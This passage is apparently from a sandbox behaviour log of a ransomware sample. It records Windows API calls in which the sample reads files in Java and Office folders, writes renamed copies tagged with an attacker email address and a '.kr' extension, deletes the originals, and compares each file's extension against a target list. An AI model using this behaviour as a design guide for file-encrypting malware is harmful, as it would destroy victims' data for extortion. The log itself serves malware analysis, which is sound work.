returned 1 [0094.652] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.652] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0094.652] GetLastError () returned 0x0 [0094.652] ReadFile (in: hFile=0x35c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x218e, lpOverlapped=0x0) returned 1 [0094.654] WriteFile (in: hFile=0x360, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x2190, lpOverlapped=0x0) returned 1 [0094.656] ReadFile (in: hFile=0x35c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0094.656] WriteFile (in: hFile=0x360, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe8, lpOverlapped=0x0) returned 1 [0094.656] SetEndOfFile (hFile=0x360) returned 1 [0094.656] CloseHandle (hObject=0x360) returned 1 [0094.657] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.657] SetEndOfFile (hFile=0x35c) returned 1 [0094.658] CloseHandle (hObject=0x35c) returned 1 [0094.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0094.659] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0094.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.659] lstrlenW (lpString=".doc") returned 4 [0094.659] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0094.659] lstrlenW (lpString=".docx") returned 5 [0094.659] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0094.659] lstrlenW (lpString=".pdf") returned 4 [0094.659] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0094.659] lstrlenW (lpString=".xls") returned 4 [0094.659] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0094.659] lstrlenW (lpString=".xlsx") returned 5 [0094.659] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0094.659] lstrlenW (lpString=".ppt") returned 4 [0094.659] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0094.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.659] lstrlenW (lpString=".zip") returned 4 [0094.659] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0094.660] lstrlenW (lpString=".rar") returned 4 [0094.660] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0094.660] lstrlenW (lpString=".bz2") returned 4 [0094.660] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0094.660] lstrlenW (lpString=".7z") returned 3 [0094.660] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0094.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.660] lstrlenW (lpString=".dbf") returned 4 [0094.660] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0094.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.660] lstrlenW (lpString=".1cd") returned 4 [0094.660] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0094.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.660] lstrlenW (lpString=".jpg") returned 4 [0094.660] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0094.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.660] lstrlenW (lpString=".doc") returned 4 [0094.660] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0094.660] lstrlenW (lpString=".docx") returned 5 [0094.660] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0094.660] lstrlenW (lpString=".pdf") returned 4 [0094.660] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0094.660] lstrlenW (lpString=".xls") returned 4 [0094.660] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0094.660] lstrlenW (lpString=".xlsx") returned 5 [0094.660] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0094.660] lstrlenW (lpString=".ppt") returned 4 [0094.660] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0094.660] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.661] lstrlenW (lpString=".zip") returned 4 [0094.661] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0094.661] lstrlenW (lpString=".rar") returned 4 [0094.661] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0094.661] lstrlenW (lpString=".bz2") returned 4 [0094.661] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0094.661] lstrlenW (lpString=".7z") returned 3 [0094.661] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0094.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.661] lstrlenW (lpString=".dbf") returned 4 [0094.661] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0094.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.661] lstrlenW (lpString=".1cd") returned 4 [0094.661] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0094.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0094.661] lstrlenW (lpString=".jpg") returned 4 [0094.661] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0094.661] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0094.661] lstrlenW (lpString="splash@2x.gif") returned 13 [0094.661] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.662] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=15276) returned 1 [0094.662] CloseHandle (hObject=0x35c) returned 1 [0094.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0094.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.663] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.663] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0094.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0094.663] GetLastError () returned 0x0 [0094.663] ReadFile (in: hFile=0x35c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x3bac, lpOverlapped=0x0) returned 1 [0095.017] WriteFile (in: hFile=0x360, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x3bb0, lpOverlapped=0x0) returned 1 [0095.018] ReadFile (in: hFile=0x35c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0095.018] WriteFile (in: hFile=0x360, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xee, lpOverlapped=0x0) returned 1 [0095.018] SetEndOfFile (hFile=0x360) returned 1 [0095.019] CloseHandle (hObject=0x360) returned 1 [0095.020] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0095.020] SetEndOfFile (hFile=0x35c) returned 1 [0095.021] CloseHandle (hObject=0x35c) returned 1 [0095.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.021] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0095.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.022] lstrlenW (lpString=".doc") returned 4 [0095.022] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.022] lstrlenW (lpString=".docx") returned 5 [0095.022] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0095.022] lstrlenW (lpString=".pdf") returned 4 [0095.022] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.022] lstrlenW (lpString=".xls") returned 4 [0095.022] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.022] lstrlenW (lpString=".xlsx") returned 5 [0095.022] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0095.022] lstrlenW (lpString=".ppt") returned 4 [0095.022] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.022] lstrlenW (lpString=".zip") returned 4 [0095.022] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.022] lstrlenW (lpString=".rar") returned 4 [0095.022] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.022] lstrlenW (lpString=".bz2") returned 4 [0095.022] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.022] lstrlenW (lpString=".7z") returned 3 [0095.022] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.022] lstrlenW (lpString=".dbf") returned 4 [0095.022] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.022] lstrlenW (lpString=".1cd") returned 4 [0095.022] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.022] lstrlenW (lpString=".jpg") returned 4 [0095.023] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.023] lstrlenW (lpString=".doc") returned 4 [0095.023] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.023] lstrlenW (lpString=".docx") returned 5 [0095.023] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0095.023] lstrlenW (lpString=".pdf") returned 4 [0095.023] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.023] lstrlenW (lpString=".xls") returned 4 [0095.023] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.023] lstrlenW (lpString=".xlsx") returned 5 [0095.023] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0095.023] lstrlenW (lpString=".ppt") returned 4 [0095.023] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.023] lstrlenW (lpString=".zip") returned 4 [0095.023] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.023] lstrlenW (lpString=".rar") returned 4 [0095.023] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.023] lstrlenW (lpString=".bz2") returned 4 [0095.023] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.023] lstrlenW (lpString=".7z") returned 3 [0095.023] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.023] lstrlenW (lpString=".dbf") returned 4 [0095.023] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.023] lstrlenW (lpString=".1cd") returned 4 [0095.023] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0095.024] lstrlenW (lpString=".jpg") returned 4 [0095.024] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.024] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0095.024] lstrlenW (lpString="invalid32x32.gif") returned 16 [0095.024] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0095.381] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=153) returned 1 [0095.381] CloseHandle (hObject=0x360) returned 1 [0095.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0095.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0095.382] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0095.382] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0095.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.382] GetLastError () returned 0x0 [0095.383] ReadFile (in: hFile=0x360, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x99, lpOverlapped=0x0) returned 1 [0095.384] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xa0, lpOverlapped=0x0) returned 1 [0095.385] ReadFile (in: hFile=0x360, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0095.385] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xf4, lpOverlapped=0x0) returned 1 [0095.385] SetEndOfFile (hFile=0x340) returned 1 [0095.385] CloseHandle (hObject=0x340) returned 1 [0095.389] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0095.389] SetEndOfFile (hFile=0x360) returned 1 [0095.390] CloseHandle (hObject=0x360) returned 1 [0095.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.390] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0095.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.391] lstrlenW (lpString=".doc") returned 4 [0095.391] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.391] lstrlenW (lpString=".docx") returned 5 [0095.391] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.391] lstrlenW (lpString=".pdf") returned 4 [0095.391] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.391] lstrlenW (lpString=".xls") returned 4 [0095.391] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.391] lstrlenW (lpString=".xlsx") returned 5 [0095.391] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.391] lstrlenW (lpString=".ppt") returned 4 [0095.391] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.391] lstrlenW (lpString=".zip") returned 4 [0095.391] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.391] lstrlenW (lpString=".rar") returned 4 [0095.391] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.391] lstrlenW (lpString=".bz2") returned 4 [0095.391] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.391] lstrlenW (lpString=".7z") returned 3 [0095.391] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.391] lstrlenW (lpString=".dbf") returned 4 [0095.391] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.392] lstrlenW (lpString=".1cd") returned 4 [0095.392] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.392] lstrlenW (lpString=".jpg") returned 4 [0095.392] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.392] lstrlenW (lpString=".doc") returned 4 [0095.392] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.392] lstrlenW (lpString=".docx") returned 5 [0095.392] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.392] lstrlenW (lpString=".pdf") returned 4 [0095.392] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.392] lstrlenW (lpString=".xls") returned 4 [0095.392] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.392] lstrlenW (lpString=".xlsx") returned 5 [0095.392] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.392] lstrlenW (lpString=".ppt") returned 4 [0095.392] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.392] lstrlenW (lpString=".zip") returned 4 [0095.392] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.392] lstrlenW (lpString=".rar") returned 4 [0095.392] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.392] lstrlenW (lpString=".bz2") returned 4 [0095.393] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.393] lstrlenW (lpString=".7z") returned 3 [0095.393] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.393] lstrlenW (lpString=".dbf") returned 4 [0095.393] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.393] lstrlenW (lpString=".1cd") returned 4 [0095.393] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0095.393] lstrlenW (lpString=".jpg") returned 4 [0095.393] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.393] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0095.393] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0095.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0095.394] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=281) returned 1 [0095.394] CloseHandle (hObject=0x360) returned 1 [0095.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0095.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0095.394] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0095.394] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0095.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.395] GetLastError () returned 0x0 [0095.395] ReadFile (in: hFile=0x360, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x119, lpOverlapped=0x0) returned 1 [0095.396] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x120, 